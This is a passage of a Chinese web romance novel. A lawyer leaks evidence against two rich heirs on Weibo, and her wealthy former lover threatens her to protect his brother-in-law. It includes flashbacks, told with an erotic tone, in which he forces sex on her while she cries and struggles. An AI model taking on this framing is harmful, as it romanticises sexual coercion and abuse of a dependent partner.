他笨拙的念着名片上面认不全的一行字:“XX北?” 乔慕野探着脑袋:“哥,看这名片就很贵,这个XX北叔叔,应该很有钱吧?” 乔慕心盯着名片上的金丝丝,眼睛里闪闪发光,“这名片好华丽哦,这个XX北叔叔,应该长得很好看吧?” 乔慕城切了一声,“没准是个卖保险的。” 嘴上说着,他还是悄悄把名片塞进了自己的口袋里。 …… 乔眠心神不宁的渡过了三天。 唯恐在网上刷到一则【某律师收受贿赂】的爆料。 心里始终绷着一根弦。 虽然被霍宴北攥着把柄,但是,她也没闲着。 这天一大早,她去法院递审资料,回来时,恰好赶上中午。 她去了一趟德善聋哑学校。 见了阮薇。 阮薇是她在沪城那几年,最好的朋友。 也是她的救命恩人。 六年前,她流落沪城。 有一天,她在公交站台晕倒休克了。 是素不相识的阮薇,好心送她去了医院。 也就是那时候,医生告诉她,她已经怀孕了三个多月。 当时,仅二十岁的她,对未来做一个妈妈,充满了无知和恐惧。 吓得哭求着要把孩子打掉。 但是,医生说她长期营养不良导致严重贫血,不能做流产手术。 她惶恐极了。 在巨大的心理压力下,割腕自杀了。 幸亏阮薇发现的及时,救了她一命,还在医院照顾她。 当时,她身上一共就剩一百多块钱。 阮薇见她实在太可怜,不仅帮她缴了住院费,得知她连住的地方都没有时,带她去了一家名叫慈恩的孤儿院。 院长阮秋陵,是阮薇的妈妈。 念她孤苦无依,小小年纪还怀着孕,不仅让她在孤儿院住下,得知她曾就读过京大后,还给了她一份看护孩子的工作。 怀孕期间,阮院长和阮薇更是对她照顾有加。 渐渐的,慈恩孤儿院就成了她的家,阮薇母女就是她在沪城唯一的亲人。 一年前,阮薇工作调到京市,在一家聋哑学校当了教师。 这次,她搬回京市后,第一时间联系了阮薇。 她现在住的出租屋,还有孩子们上的幼儿园,都是阮薇帮忙找的…… 此时,办公室里的老师都去食堂吃饭了。 阮薇得知她来了,忙不迭的去食堂打了两份午饭回来。 吃完饭,阮薇洗了一个苹果,递给她:“眠眠,你来找我,是要拿回那个优盘吧?” 乔眠点头。 阮薇打开抽屉,从里面拿出一个黑色优盘递给她,“你真的想好要把这些证据爆到网上吗?” 乔眠接过,放进公文包里,“想好了。” 自打她之前接了哑女案,就知道这个案子不好打。 于是,搜集了一些证据。 但是,证据不够,所以,她那晚才去酒吧‘卧底’取证的。 只是,没想到酒吧老板宋沉,是霍宴北的小舅子,这才引发了后面一系列事情。 这个优盘里有一些沈少、黎少其他非法交易的资料。 她要爆到网上。 让大众舆论去审判…… 阮薇有些担忧:“哑女案已经撤案了,你再折腾下去,万一对方打击报复怎么办?” 乔眠:“案子虽然撤了,但是,也不能让那些人继续祸害别人。” 阮薇知道她的处事原则,没再多劝。 两人聊了一会儿后,乔眠起身要走,阮薇将一个鼓鼓囊囊的购物袋递给她:“这是我一早在超市买的一些吃的,本来想回头拿给你的,既然你今天来了,就带回家给孩子们吧。” 乔眠打开一看。 里面有水果,各种罐装坚果,甜糕酸奶,以及面包饼干之类的零食。 阮薇一个月工资也就五六千块钱,还要挪出一部分贴补孤儿院。 已经过得很艰难了。 乔眠握了握她的手:“你以后别总是给我和孩子们花钱,你自己多留点钱,好好买点好看的衣服和化妆品,老大不小了,该相亲交男朋友了。” “什么叫老大不小了?眠眠,你这口气跟我妈说话一模一样,我才29岁,正是好时候呢。” 说着,阮薇笑着把袋子塞进她怀里:“我妈催婚也就罢了,连你也催我?我还活不活了?” 乔眠无奈笑笑:“好,不催。” 离开聋哑学校后,她去了网吧。 登录一个叫‘悬剑’的微博账号。 第18章 趴在他怀里 她把优盘里的数据导到电脑上,照片配上文案,撰写了一篇PPT式的稿子。 ‘悬剑’这个微博账号,是她养了六年的账号。 已经五百多万粉丝。 账号发布的都是一些跟法律相关的事实热点案件分析,以及社会上一些肮脏交易的内幕。 她用悬剑这个账号,把哑女案的一些资料证据发布出去,是最好的途径。 而且,这个账号不怕查。 因为这个账号,不是她注册的。 是真正叫乔眠那个女孩的‘遗物’…… 当年,她在沪城,阮院长给了她一个全新的身份——乔眠。 阮院长说,原本叫乔眠的那女孩,也是孤儿院的。 是一名记者。 在境外园区卧底死了。 她很佩服那女孩的孤勇和正义。 ‘悬剑’这个微博账号,就好像是那女孩移植到她身体里的一颗心脏。 她活着,亦是真正的乔眠活着。 悬剑,悬在头上一把利剑,罚当其罪,违法必究。 望着这个账号的个人简介,她心一横,把稿子发了出去。 她之所以敢发,还有一个原因是,不怕查。 因为,她查过,这个账号的实名认证信息,也不是乔眠那女孩的身份证信息注册的。 她只有账号和密码。 具体实名认证的人是谁,她也不清楚…… …… 翌日。 一则关于【某某两位世家公子,沾染违禁品、欺凌少女】的微博,上了热搜词条。 因为她并未指名道姓,微博内容贴的照片,也是经过模糊处理的。 但是,网友们个个都是最强大脑,再加上有些人知道‘哑女欺凌案’,所以,很快就扒出,‘某某两位富二代’暗指黎家少爷和沈家少爷。 这条微博,她并未提及宋沉。 一是,霍宴北那十万块钱,已经赔偿当事人了。 二是,除了她先前在酒吧拍到的那段视频里有宋沉之外,她根本搜集不到宋沉的其他任何负面证据。 是霍宴北把他这个小舅子,保护的太好了。 这条微博掀起的舆论很大,就连警方都贴了一张调查公示。 说是正在调查中。 也惊动了霍宴北。 傍晚六点。 乔眠刚从律所出来,就看到一辆劳斯莱斯停在路边。 车窗降落,露出霍宴北那张冷漠如冰的面孔,一如他说话的声音:“上车。” “霍总,您找我有事吗?” 她站着没动。 对‘上车’这个命令,充满抗拒。 男人搭在车窗外的大手,弹了弹烟灰,只是静静地看着她,就让她心里发毛。 淡定和从容,在他面前,就像雪花落在地面,很快化为乌有。 乔眠深吸一口气,攥紧包包,做好了拔腿就逃的预备。 但是,陈珂却从驾驶座下来,为她打开了后车门。 “乔律师,请您上车。” 好像她不上车,就会被绑上车似的。 乔眠只得认怂,上了车。 还没坐稳当,就被霍宴北一把拽住胳膊,将她整个人拖到了身前,“乔律师还真是一只小狐狸,用一条微博制造舆论压力,现在,黎家和沈家那俩少爷已经彻底进去了。” 说到这里,他手上用力,“乔眠,你到底留了多少后手?下一次,是不是就动到宋沉头上了?” “……” 果然,他还是为了他小舅子来的。 乔眠被他攥得胳膊都要断了。 咬牙,挣扭一下,没能挣开,反而被越攥越紧。 她隐忍着疼痛,解释:“爆料黎少和沈少的微博,跟我没有任何关系。” “是吗?” 男人用力一拽,乔眠整个人扑进了他怀里。 乔眠吓得小脸一白,一双小手紧忙抵住他的胸膛,才没有跟他身体紧贴在一起。 但是,两人距离太近。 近到她能清晰的听到他胸腔里沉鸣鼓鼓的心跳声。 以及自己乱了节拍的心跳。 “霍先生,真的不是我……” 她抬起小脸,摆出一张无辜脸。 其实,她也不在乎他信与不信。 就像他之前说的,她在他那里,信任度已经为零。 她再怎样解释,亦是徒劳。 “不是你才见鬼!” 霍宴北声音疏冷。 乔眠反问:“这条微博并不涉及您小舅子,霍总为何非得给我头上安罪名?” 霍宴北攥着她胳膊的大手松开,又捏起她的小脸:“乔律师,不管这条微博是不是你发的,只要不涉及宋沉,随便你折腾,但是,我来,就是给你提个醒,我手里还有你收钱的视频,如果你敢动宋沉,我会让你付出代价的。” 乔眠的心一刺,苦笑着问:“代价是死吗?” 看着女人眸底起了一层水雾,仿佛看到了曾经阿妩悲伤的看着他的眼神,霍宴北手指微微一颤,松了手。 心,也跟着软了一分。 他扯了扯领带:“只要乔律师别碰到我的底线,我不会为难你。” 乔眠从他怀里起身,坐在靠车窗的位置。 她看着车窗外不知何时下起来的绵绵细雨,嗓音好似沾了一丝潮湿的雾气:“霍先生,您捏着我的把柄,请放心,我不会做出不利您小舅子的事情。” 听到这个答案,男人点了下头。 “我要下车。” 她握住车把手,说。 霍宴北望了一眼密集打在车窗上的雨珠:“下雨了,我送你回去。” “不麻烦霍先生了。” 男人目光落向女人线条柔美的侧脸上。 她靠着车窗,头发因为刚才的拉扯散了下来,挡住了她半张脸,让人看不清楚她眼底的情绪。 但他能感觉到,她每一根头发丝都在拒绝他。 他收回目光,吩咐陈珂,“去地铁口。” 乔眠闭上眼睛。 与其跟他做无用的对抗,不如服软,换得一丝安宁。 他喜欢温顺的。 以前,她在他面前,一直都是乖软听话的,他喜欢她绝对服从。 就像当年,他跟宋蔓订婚那天,在换衣间,他吻着她的唇诱哄:“阿妩,你乖乖听话,不要跟哥哥闹脾气,哥哥这辈子不会不要你的。” 当时,她麻木的点点头。 心,却早已经死了。 “乔小姐,到了。” 陈珂的声音,将她飘远的思绪拉了回来。 乔眠说了一声谢谢,看都没看霍宴北一眼,拉开车门下了车。 望着女人走进雨中的纤细背影,男人垂眸,盯着手中攥着的一把黑色雨伞,指关节一点点泛白。 第19章 信了他在床上情动的戏言 夜十点。 天御会所。 顶奢包厢内。 霍宴北走进去,顾淮年正搂着一个小嫩模喝酒。 嘴里的荤话,惹得女孩娇羞的将脸藏在了他脖颈间。 顾淮年顺势就要吻下去时,瞥见霍宴北走进来,在女人腰上揉了一把。 女人会意,起身退出了房间。 “谁惹你了?怎么脸色这么差?” 顾淮年扫了一眼男人被雨水打湿的半截衣袖,倒了一杯红酒递过去。 霍宴北脱掉外套,丢到一旁,接过高脚杯,直接闷了一大口。 顾淮年嗤笑一声,主动跟他手中的酒杯碰了一下,仰脖抿了一口。 “说正事。” 霍宴北轻轻晃着指间夹着的高脚杯,望着鲜红如血的酒液,仿佛看到了那会儿乔眠下车时,那双泛红湿润的眼睛。 她好像哭了…… 想到这里,他不禁有些烦躁,又喝了一大口。 顾淮年端起酒瓶,给他填满酒后才说:“那个叫悬剑的微博账号,还真不是乔眠。” 霍宴北黑眸眯起:“不是她实名认证的账号,不代表不是她。” “那条微博针对的是沈家和黎家,但并未扯上宋沉,我觉得是你多心了,干嘛非得怀疑乔眠?我觉得她人畜无害,没那个胆儿。” 霍宴北冷笑一声,“人畜无害?会私留视频,还差点把哑女案翻了过来。” 顾怀年玩味的笑了笑,“是嗷,乔眠看着外表柔软,内里却有股子韧劲,都逼得你跑去给荣华律所送业务了,如果悬剑真的是她的话,保不齐她还有后手。” 说到这里,他又摇了摇头,“不过,你也甭担心,咱手里有她收钱的视频,即便悬剑是她,也翻不出你的手掌心。” 霍宴北沉默了一瞬后,问:“悬剑的实名认证是谁?” 顾淮年耸肩,“只能查到是一个男人,名字和身份信息都是假的。” 霍宴北薄唇紧抿,“把这个账号封停一段时间。” “这好办,不过,这个账号发布的都是正能量的内容,封了,不地道吧?” 霍宴北皱眉:“宋沉身上污点多,舆论再扩大下去,早晚会扯到他身上。” 顾淮年明白过来了,“也对,现在的网友们个个都是神探,宋沉那货儿还不低调,早晚被扒出点什么。” 霍宴北喝完最后一口酒后,把酒杯放下,“给黎家和沈家捎句话,我压热搜,但是,他们儿子做的事情自个儿认,敢把祸水引到宋沉身上,就是跟霍家作对。” 顾淮年竖起大拇指:“高啊,这下,宋沉就彻底摘出来了。” 说到这里,他不禁又提起了乔眠:“啧,能把你折腾成这样,那个乔眠还真是本事大,我都有些喜欢她了。” 霍宴北蹙眉看他一眼,提醒,“她有男朋友。” 都是从小玩到大的朋友,谁心里藏着点花花肠子,一眼就能瞧出来。 一晚上,顾淮年三句话不离乔眠,他看得出来,顾淮年对乔眠生了邪心。 顾淮年也不掖着,“她就是结婚有老公了,小爷我也有的是手段把她勾到我怀里。” 霍宴北眉骨紧拢,“她看不上你。” 顾淮年气笑了,“看不上我?难道能看上你?” 男人扯唇。 用只有自己才听到的声音,呢喃了一句:“谁又知道?” 顾淮年还在恼:“你又不是她肚子里的蛔虫,怎么知道她看不上我?” 霍宴北没理他。 但是,直觉告诉他,乔眠一点都不喜欢顾怀年。 还很讨厌。 至于乔眠对他……似乎很怕他。 “我就不信了!” 顾淮年忽然一拍桌子,“打个赌,我肯定能把乔眠搞到手,到时候……” 霍宴北眉眼一沉,起身道,“没空陪你打赌。” 说完,拿起沙发上的外套,抬步走了。 顾怀年冲着他的背影叫嚣,“你就等着喊她弟妹吧。” 霍宴北脚步一顿,搁在裤袋里的大手微微收紧,停留了两秒后,又抬步走了。 …… 隔天早上。 乔眠发现悬剑的微博账号,被封停了三十天。 不仅如此,热搜也撤了个干净。 一夜之间,能够公关这么彻底的,一定是霍宴北的手笔。 他对他小舅子真是护到了极致。 不,准确的说,他很爱妻子,所以才会爱屋及乌,想要为她粉饰太平…… 恍惚间,她已经走到律所。 刚来到工位前,就看到一大捧鲜花放在办公桌上。 办公区的同事们投来艳羡的目光,同时,又开始交头接耳的议论起来。 “肯定是韩主任送的,我靠,这俩人都明牌了。” “这么明目张胆,也不怕韩主任的老婆来律所扇她巴掌?” 听到‘扇巴掌’三个字时,乔眠抱起那捧花走过去,用力那大捧花摔在嚼舌根的那两个同事的办公桌上,“都是一个所里的律师,非得逼我告你们诽谤、造谣?” 这是她第一次在同事面前发火。 所有同事都吓了一跳。 毕竟,她给所有人的印象,都是和和气气,温温柔柔的。 尤其是嚼舌根的那俩女同事,直接愣住了。 回过神来后,慌作一团的低头做事。 这时,楼上有同事喊,“乔律师,韩主任让你去会议室开会。” 乔眠应了一声。 抬步走时,看到地上躺着一张粉色卡片。 应该是刚才那大束鲜花中夹的。 她捡起来,自动忽略掉那几行酸掉牙的情诗,瞥到右下角顾淮年三个字时,就像手上沾了屎一样,眉头狠狠一皱。 折回去,把扔到同事办公桌上的花束拿过来,用力丢进垃圾桶。 还使劲踩了一脚。 这粗暴的行为,又吓了同事们一跳。 “乔律师怎么这么大脾气?” “傍上大佬了呗!” “谁啊?” “我那天听前台蛐蛐,说是乔律师跟霍氏集团的霍总抱在一起呢。” “乔律师会不会是霍总的地下情人?” “咋可能?我怎么听说人家霍总有老婆,她横插一脚,也太恶心了……” 原本还有些愠怒的乔眠,在听到‘地下情人’四个字时,浑身发颤。 当年,在霍宴北的订婚宴上,她被千夫所指,谩骂、是勾引哥哥的下贱胚子,为了争风吃醋才剪碎了未来嫂子宋蔓的订婚礼服。 当时,她像一个小丑一样站在宾客和记者们的镁光灯下,无助极了。 即便那时,已经对霍宴北心死,可是,她还是抱着一丝希望,悲伤的望着他。 希望霍宴北信她,念在以前的情分,帮帮她。 可是,没等到他的半句维护,却等来狠重的一巴掌…… 当时,她摸着印着五根手指印的脸,很想问问他,是否还记得他的承诺? 他曾对她许诺过一句话:“阿妩,我会护你一辈子,我愿意为你当一个犯下整本刑法典的恶魔……” 现在想想,是她蠢,信了他在床上情浓时的一句戏言…… 第20章 宴北哥,我们分手吧 会议室内,除了韩东平和温董,还有两个同事。 是何眉和孟白。 人这么少,看来不是开例会。 她猜测,温董这是已经组了一支驻点霍氏工作的律师小团队。 何眉兴奋的冲她眨眼睛。 乔眠走过去坐下。 温董见人齐了,开口:“鉴于我们所现在和霍氏合作,选了你们三个人,作为霍氏的外包法务团队,于下周一,正式驻点霍氏开展工作。” “你们的一言一行代表的都是荣华的脸面,一定不能给咱所丢脸,懂?” “是!” 除了乔眠没吱声,何眉和孟白兴奋的保证。 “乔律师。” 见她没表态,温董眯眸,睨了她一眼,“你看起来好像不大愿意?” 乔眠起身:“论资历和学历,我远不及所里其他同事,温董,要不,您另外选一个同事代替我去吧?” 温董有些吃惊。 去霍氏,是挤破头都争抢不来的美差。 她还不想去? 何眉悄悄掐了下乔眠的胳膊,提醒她别犯傻。 乔眠坚持:“我想留在所里。” 温董:“所里已经决定由你担任团队的组长,这一点,无需再议。” 乔眠生无可恋的坐下来。 没有留下来,还升职了。 但她却一点都高兴不起来。 散会后,回到工位。 何眉高兴的像中了百万大奖,勾住她的肩膀:“走吧,中午我请客。” 乔眠表情蔫蔫的,“不去。” “能进霍氏工作,怎么着也得好好庆祝一下。” 乔眠乏累的瘫在座椅里,“没什么可庆祝的……” 何眉察觉她情绪不对,这才想起来问:“对了,你干嘛要求留在所里?这可是你远离姓韩那个老色胚的机会啊。” 乔眠揉了揉鼓鼓胀胀的太阳穴。 心情低迷。 无论是留在所里,还是去霍氏,都是火坑…… 见她闷不吭声,何眉猜测:“你是不是遇到难处了?如果需要用钱的话,我有。” 乔眠感激的握了握何眉的手,“不是钱的事情,我就是有点累……” 见她不肯说,何眉也不便多问,“那我和孟白出去吃饭了,回来给你带一份你最爱吃的蛋糕。” 说完,何眉摆了一下手,走了。 乔眠在听到蛋糕两个字,才想起霍宴北之前提醒过她还钱一事。 她从包里翻找霍宴北的名片,却怎么也找不到了。 不过,即便没有名片,她也记得他的手机号。 那张名片上面的手机号,还是六年前的…… 乔眠本想加微信转账的。 但是想到转完账后,再删除或是拉黑他,就显得很刻意。 于是,打开支付宝,点开转账功能,输入他的手机号,转过去了39.9。 备注:蛋糕钱。 …… 霍氏集团。 会议室。 霍宴北一脸严肃的坐在主位上,皱眉听着众高层商讨最新风投的项目。 沉闷压抑的气氛中,忽然,一道清脆的机械女声突兀响起。 【支付宝到账三十九块九。】 众高层们还以为听岔了,纷纷低头查看自己的手机。 然后,又都齐刷刷的看向霍宴北。 大家交头接耳,猜测,谁会给一个集团大总裁,转账39.9…… 霍宴北听到转账提示音时,蹙眉看向陈珂。 陈珂急忙摆手,小声提醒:“霍总,是您的手机。” 霍宴北怔了下,从口袋掏出手机,点开支付宝消息提示。 是一个叫‘余生不见’的人,给他转账了39.9。 如果不是看到备注,他都没反应过来,是乔眠转给他的蛋糕钱。 他以为,她会加他微信的。 没想到,她会通过这种方式还钱。 男人抬手扯了一下领带,命令散会后,鬼使神差的把对方手机号复制下来,打开微信,搜出来一个叫‘讨厌吃蛋糕的咸鱼’的微信。 手指一点,申请添加对方好友。 随后,眉心一蹙。 她很讨厌吃蛋糕吗? 退出界面,他点开一个备注为‘妹妹’的微信。 头像是一款黑天鹅蛋糕。 霍妩就爱吃甜食。 尤其偏爱蛋糕。 头像上这款蛋糕,是她在霍家过十八岁生日那天,他买给她的。 直到现在,他还记得很清楚,那天,她穿着一件纯白连衣裙,因羞涩,脸颊红扑扑的,笑得比蛋糕还要漂亮甜美。 她虽然很胖,但珠圆玉润的。 像猫咪。 很可爱。 性格腼腆,乖的很。 虽然闷闷的缺乏情趣,又极易羞怯,却诱的他那天,在她身上发了疯…… 她的朋友圈,依旧是六年前在京大读书时的相关动态。 两人的聊天记录,还保留着她最后发给他的一条微信。 那是他订婚前夕,跟朋友们聚会后,回到霍家,她给他发了一条微信:【宴北哥,我们分手吧……】 当时看到这条消息,他很恼。 带着怒气,闯进了她的房间,缠了她一夜。 过程有些粗暴。 她一直哭…… 但是,她哭、挣扎,反而带给他一种前所未有的新鲜刺激。 他发了狠劲折腾她。 事后,她流血了,哭着在他掌心写下分手两个字。 他以为她在耍小性子。 想着,以后再给她买更贵更漂亮的蛋糕,哄哄她。 毕竟,霍妩那样好哄。 不……霍妩是一个没有脾气的女孩。 从来不需要他哄…… 在一起时,无论他说什么,要求她做什么,她都会乖乖顺从。 有时候乖的让他觉得她不是正常人类,像一个专门为他设定一款服务型机器人。 只有那晚,她不肯配合,在他身下哭得厉害。 现在想想,她或许真的想跟他分手…… 可是,为什么? 霍妩那么爱他。 当初,他答应和宋家联姻时,她也没有表现出一点不开心。 她一直都很乖,很懂事。 对他绝对服从。 她明明答应过,要一辈子陪在他身边。 也答应过,为他生一个孩子。 怎会舍得离开他…… 可事实是,这个狠心的女人,不仅舍得,连一捧骨灰都没有给他留下…… 想到这里,一股窒息的刺痛,在胸腔里蔓延,激得他猛烈咳嗽了几声。 他仰头,靠在真皮椅背上,呼吸紊乱。 陈珂及时倒了一杯热茶,递过来。 他抿了几口茶后,胸口闷胀的不适感才舒缓一些。 “荣华律所效率这么慢吗?律师团队什么时候过来?” 他扯着领带,语气烦躁。 第21章 喜欢在器材室约会 “下周一。” 陈珂把一份资料放在他面前的办公桌上:“这是荣华律所派来工作的人员名单,您过目。” 霍宴北从四份资料中,单独抽出乔眠的人事资料。 她的个人信息很简单。 和之前查到的信息都对的上。 身份证号码……注重看了几遍。 不是阿妩的身份证号码。 一个人如果改名换姓,身份证号是不会变的。 所以,乔眠真的不是阿妩? 他神色凝重的沉思数秒后,将资料重重搁在桌上,吩咐道,“派人去沪城,查一下乔眠待的那家孤儿院。” “是。” 陈珂隐隐叹了一声。 看来霍总还是觉得乔眠身份有疑。 提到乔眠,他想起什么,汇报道:“不过温董怕是会错意了,以为您格外重视乔律师,把她升为组长了。” “不重要。” 重要的是,他要她待在他身边。 他要亲自求证。 想及此,低头,扫了一眼微信。 依旧没有通过好友申请。 他再次搜出乔眠的微信。 点开头像。 是一张手绘图。 画面很抽象。 依稀看得出,是一个大人牵着三个小孩的背影。 看起来不像网图。 像小孩子的涂鸦之作。 霍宴北眼眸微眯。 她难道和他那废物男朋友有孩子了? …… 晚上。 乔眠洗完澡,回到卧室。 拿起手机,这才注意到有一条微信好友申请。 看到对方微信的头像时,吓得手一抖,手机差点掉在地上。 她不敢置信的再次看了一眼。 是霍宴北。 他申请加她好友…… 之所以一眼就认出是他,是因为,头像是她曾经偷拍他的一张照片。 那时,她在霍家过得并不快乐。 她出身不好,霍家没有人喜欢她。 看着她的眼神,就像看一个闯入家门的乞丐。 哪怕她冠着霍姓,是名义上的霍家小姐,霍宴北的妹妹。 可在霍家,就连佣人都能随意欺负她。 以为她听不见,当着她的面,嘲笑她是个小哑巴,大胖子、水桶、猪…… 但她从来没有跟霍宴北说过这些委屈,因为当时的他,陷入继承人之争,在霍家走的每一步都如履薄冰。 即便说了,他也不会做什么。 霍宴北重利,有野心。 为了登顶王权,他那样冷血狠厉的性子,忍受过屈辱、妥协。 可以舍弃一切。 包括婚姻。 还有她。 有一次,趁着霍宴北外地出差,她搬回了学校宿舍。 霍宴北得知后,很生气。 连夜回学校找到她。 那夜,在篮球器材室的角落里,他凶狠又用力的惩罚她。 第二天早上,他还在熟睡。 她偷拍了他一张照片。 其实,并没有拍到正脸。 那天,他穿着一件黑色连帽卫衣,兜帽整儿个扣在脑袋上。 几乎遮住了他整张脸。 只露出额前散下来的碎发,高挺的鼻尖,以及纤长密的睫毛。 单看照片,看不出来是他。 她问他,可不可以当自己的微信头像。 他冷冷淡淡的拒绝了。 却随手换成了他自己的微信头像…… 那些零碎的记忆在脑海里清晰的闪回。 乔眠盯着那条好友申请,果断点了拒绝。 …… 帝景别墅。 霍宴北进门后,脱掉西装外套搭在臂弯,准备上楼时,张妈听到动静,披着外套从房间走了出来。 看到霍宴北时,有些吃惊,“少爷,您有些日子没回来了。” 霍宴北表情淡淡的嗯了一声。 “我上楼帮您整理下卧房吧。” “不必了。” “哦……” 张妈拢着衣服回屋了。 霍宴北上楼后,径直去了书房。 书房很宽敞,里面有一间独立的卧室。 霍宴北走进去,将西装外套随手挂在衣架上,打开衣柜,拿了一套睡衣换上。 洗漱时,不经意瞥见下颌那道已然淡去的血痕。 想到那天女人生气时满脸通红的模样,削薄的唇几不可察的扯了扯。 还没有哪个女人敢对他动手。 “乔眠……” 他冷哼一声。 躺在床上后,再次点开微信,发现好友申请被拒绝时,脸色瞬间一沉。 烦躁的把手机撂到床头柜上后,闭上眼睛,昏昏沉沉的眯了一会儿。 他做了一个梦。 梦到有一次他出差回来,第一时间,去学校接阿妩。 没等到去酒店,在路边,跟她在车里做了一次。 那夜,是两人一次新的体验。 阿妩的长发像海藻般散在炫黑的座椅上,细嫩的肌肤,比窗外的月色还要皎白。 双瞳迷离水润,脸颊红扑扑的。 她娇弱的轻喘,诱的他一次比一次疯狂。 在那事上,他有癖好。 阿妩白皙的双腕被皮带勒出了一道深深的红痕。 阿妩哭了。 他想伸手为她拭去眼泪时,阿妩的脸,渐渐和另一张女人的脸一点点交汇、重叠。 最后,幻化成了乔眠的脸。 她望着他,声音娇娇弱弱的,却透着一丝幽怨:“宴北哥,你为什么不救我?” “宴北哥,我好疼……” “宴北哥,别把我丢在火场里……” 一声声含带哭声的质问,像冰锥一样狠狠扎在霍宴北心脏上。 他猛地睁开眼睛,从床上坐了起来。 额头沁着细密的薄汗,眼尾泛着猩红。 他用力抓了抓头发,扶着额头坐了一会儿后,靠在床头点燃了一支烟,咬进嘴里。 他一定是疯了,才会梦到那个女人! 一根烟抽完后,他掀开被子,去了浴室。 冲了一遍冷水澡,身体的燥热,丝毫没有减退。 从浴室出来后,去了外间书桌前坐下。 从抽屉里拿出一本刑法书。 掀开封皮,扉页夹着一张照片。 照片里,是霍妩在京大读书时,他拍的一张照片。 那天,她梳着两条松散的麻花辫。 戴着黑框眼镜,穿着一件蓝色连衣裙,站在操场上。 怀里捧着几本书。 夕阳余晖将她白皙的脸衬得灼红耀眼。 她在等他。 那时,他刚回霍家没多久,爷爷不准许他和阿妩在一起。 两人约会的地方,不是在学校的篮球器材室,就是去酒店或是公司。 但他喜欢在篮球器材室。 阿妩却很怕。 是那种浑身战栗的怕。 那时,他还不懂,她为何那么怕在器材室…… 他也从未问过。 只一味觉得刺激、惊险。 指腹一遍遍摩挲着照片中女孩的脸,他的呼吸也越来越粗重。 三十分钟后。 霍宴北将脏了的内裤直接扔进垃圾桶,重新去浴室冲了澡。 第22章 看到他和妻子接吻 一晃眼,又一周过去了。 乔眠额头上的伤已经拆线。 依稀还能看出一道淡淡伤痕。 医生说要完全消除疤痕,至少得一两个月。 但她不太在意。 粉底稍稍遮掩,几乎看不出来。 周一这天,京市迎来了第一场雪。 是她正式进入霍氏上班的第一天。 霍氏离她住的地方很远,她早上六点就起床做早餐了。 七点多把孩子们送进幼儿园后,就马不停蹄的奔往地铁站。 八点四十,抵达霍氏。 抬头,望着高耸入云的霍氏大厦,乔眠心里像压着一座大山,心情郁郁。 她不是第一次来霍氏。 以前,霍宴北经常打电话让她去公司送餐。 他胃不好,口味刁,只爱吃她做的饭菜。 两人是兄妹。 她频繁出入公司,根本无人质疑。 有时候,霍宴北把她叫去公司,单纯只是满足生理需求。 她的手机为他二十四小时待命。 无论白天还是黑夜,只要他一个电话,她都会奔赴于他。 现在想起这些,只觉得以前的自己,活得卑微又可笑。 她只是他玩弄于鼓掌的囚宠。 却妄想得到他的爱…… 乔眠使劲拍了拍脸颊,摒弃掉杂念后,走进宽敞明亮的大厅,来到前台。 说明自己是荣华律所的。 前台打了一通内线电话,对她的身份进行确认后,这才帮她刷卡,通过闸机入口。 “乔律师,请您乘坐员工电梯,到三十一楼,找陈特助报道。” 前台指了一下前面左边一排电梯,提醒。 “好的,谢谢。” 一楼一共八部电梯。 这个点,正是早高峰。 每个电梯门口都站了不少职员。 这时,有人轻喊一声,“是霍总哇!” 瞬间,这些人,就像炸窝的蜜蜂一样,纷纷朝总裁专用电梯挤过去。 乔眠本来站在最后一排。 这些人忽然都转过身来。 一个个赶集似的挤过来,乔眠身体被撞得一个趔趄,脚下不由得后退几步。 直到一只大手,扣在她腰上,扶了她一把才站稳。 “谢谢。” 她小声道谢。 “以后小心点。” 一道清冷的男人嗓音从头顶传来。 紧接着,闻到一股熟悉的淡淡草木香。 乔眠脊背僵了一下。 反应极快的推开腰上那只手,转过身去,映入眼帘的是一张清冷矜贵的面孔。 霍宴北穿着一件质地昂贵的蓝黑色羊绒大衣。 里面是一身剪裁合体的黑色西装三件式套装。 帅的惨绝人寰那张脸,尽显生人勿近的气场。 高贵冷艳的不食人间烟火。 此时,却和她紧挨站着。 两人目光交汇在一起。 男人眼眸幽暗,宛如深渊古井。 手掌微蜷。 仿佛还能感受到女人的体温。 她的腰,细弱的似能轻易揉碎。 她身上有一种淡淡的清甜味,不由地让他想起以前抱着阿妩的感觉。 而乔眠眸底只有来不及掩饰的惊慌和紧张。 “霍总早!” 身后传来同事们态度恭敬的打招呼声。 乔眠回过神来,匆忙退后两步,有模学样的躬身,声若蚊蝇的附和了一句,“霍总早……” 话音刚落,不远处,一道轻扬悦耳的女人声音传来,“宴北!” 乔眠循声望去。 却在看清楚来人时,浑身血液一凝。 是宋蔓。 她穿着一件浅驼色顶级貂绒大衣,腰带将高挑的身材收的细细柔柔,盈盈可握。 微卷的大波浪随意散着,妆容精致,端方大气的长相,一颦一眸都格外耀眼。 手里拉着一个行李箱,应是刚从机场赶回来的。 她走到霍宴北身前,自然又亲昵的挽住他的胳膊:“一下飞机就来公司看你了,惊不惊喜?” 霍宴北伸手接过她手里的行李箱,语气温和:“回来怎么不提前说一下,我好去机场接你。” 宋蔓娇羞的弯了弯唇:“你工作那么忙,不想你为我分心。” “无妨。” 两人聊着进了电梯。 电梯门缓缓合上一瞬,宋蔓冰冰棱似的目光落在了乔眠身上。 刚才,她看到霍宴北扶了那女人一把。 虽然没看清脸,但那女人身材纤薄,玲珑有致。 特别招眼。 她很不喜欢。 …… “哇塞!霍总那皮囊,简直是人间绝色!要是能对我笑一下,我死都甘愿!” “别做梦了,没看见霍总妻子来了吗?” “妻子?霍总什么时候结婚了啊?” “都不上网冲浪吗?霍总不仅隐婚了,连孩子都能打酱油了,刚才挽着霍总一起进电梯的女人,就是他妻子宋蔓。” “妈耶!著名钢琴艺术家宋蔓?我上学时期的女神哇!!” “竹马恋人修成正果,好般配啊!” 电梯里,拥挤的狭小空间,充斥着同事七嘴八舌的议论声。 乔眠存在感极低的站在角落里,一堆八卦中,只听到一个重点。 霍宴北有孩子了…… 攥住包的白皙手指一点点抠紧。 忽地又松开了。 他结婚了,有孩子很正常。 他似乎很喜欢孩子。 六年前,他就提议,让她为他生一个孩子…… 那时,她才二十岁。 对当妈妈,懵懂又恐惧。 可是,她答应了。 只因他想要。 那段时间,他每次跟她做,不再用措施。 甚至算准她的排卵期,让医生开促排药给她吃。 现在想想,她应该就是那段时间怀上的。 只是,当时,她年龄小,没察觉。 或许,她生下三胞胎的原因,也是因为吃了促排药的缘故…… 这六年,她常常幻想,将来有一天,如果霍宴北知道,她给他生了三胞胎,该是怎样的反应? 可是,此时此刻,她觉得,那个幻想,很愚蠢。 他结婚了,也有了自己的孩子。 而她的孩子,就是私生子…… 